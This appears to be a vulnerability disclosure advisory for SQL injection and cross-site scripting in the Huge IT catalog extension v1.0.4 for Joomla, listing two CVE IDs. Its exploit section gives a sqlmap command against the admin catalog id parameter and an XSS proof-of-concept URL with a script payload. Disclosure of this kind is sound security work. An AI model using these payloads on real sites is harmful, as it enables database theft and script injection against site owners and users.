SQLi and XSS in Huge IT catalog extension v1.0.4 for Joomla

#915 · 2016-07-17

CVE ID(s): CVE-2016-1000119, CVE-2016-1000120

Notified: 2015-07-17

Description:

This extension is designed to help you display the products in the most attractive way. Joomla Catalog Extension has a stylish design with convenient construction for displaying the product to the customers.

Exploit:

SQLi:
 
$ sqlmap  --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=*" --dbms mysql 
 
XSS:
 
http://192.168.0.125/administrator/index.php?option=com_catalog&view=catalog&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E

Download: http://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/catalog